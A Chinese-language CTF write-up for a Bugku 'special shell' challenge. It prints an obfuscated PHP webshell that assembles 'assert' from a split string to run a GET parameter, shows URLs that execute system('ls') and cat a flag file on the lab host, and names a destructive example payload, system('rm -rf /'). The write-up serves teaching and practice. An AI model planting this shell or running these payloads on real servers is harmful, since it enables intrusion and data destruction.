WP017——CTF赛题解析-特殊的SHELL

77 阅读1分钟

时效性

2025年8月3日

题目来源

game1 - Bugku CTF平台

题目描述

image.png

Write UP

$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s'])
http://117.72.52.127:12745/?s=system(%27ls%27)
http://117.72.52.127:12745/?s=system(%27cat%20flaga15808abee46a1d5.txt%27)

总结

该类题目的主要考察方式就是提供一些比较难以辨认的shell,这些shell往往不同于一般的一句话木马,而存在一些独特的应用方式,需要我们找到对应的利用方式。

  1. $poc = "a#s#s#e#r#t";

    • 定义一个字符串变量 $poc,值为 "a#s#s#e#r#t"
    • 目的:将敏感字符串 assert# 分割,避免直接暴露。
  2. $poc_1 = explode("#", $poc);

    • 使用 explode() 函数以 # 为分隔符拆分 $poc,生成数组 $poc_1
    • 结果:$poc_1 = ["a", "s", "s", "e", "r", "t"]
  3. $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];

    • 将数组 $poc_1 的所有元素拼接成一个新字符串 $poc_2
    • 结果:$poc_2 = "a" + "s" + "s" + "e" + "r" + "t" = "assert"
  4. $poc_2($_GET['s'])

    • 关键危险点:将 $poc_2(值为 "assert")作为函数调用,参数为 $_GET['s']

    • 等价于:assert($_GET['s'])

    • 作用:assert() 是 PHP 的内置函数,如果参数是字符串,会将其当作 PHP 代码执行

    • 例如:

      • 若用户访问 http://example.com/?s=phpinfo(),则实际执行 assert("phpinfo()"),触发 phpinfo 函数。
      • 攻击者可构造恶意参数执行任意操作,如 ?s=system("rm -rf /")(删除服务器文件)。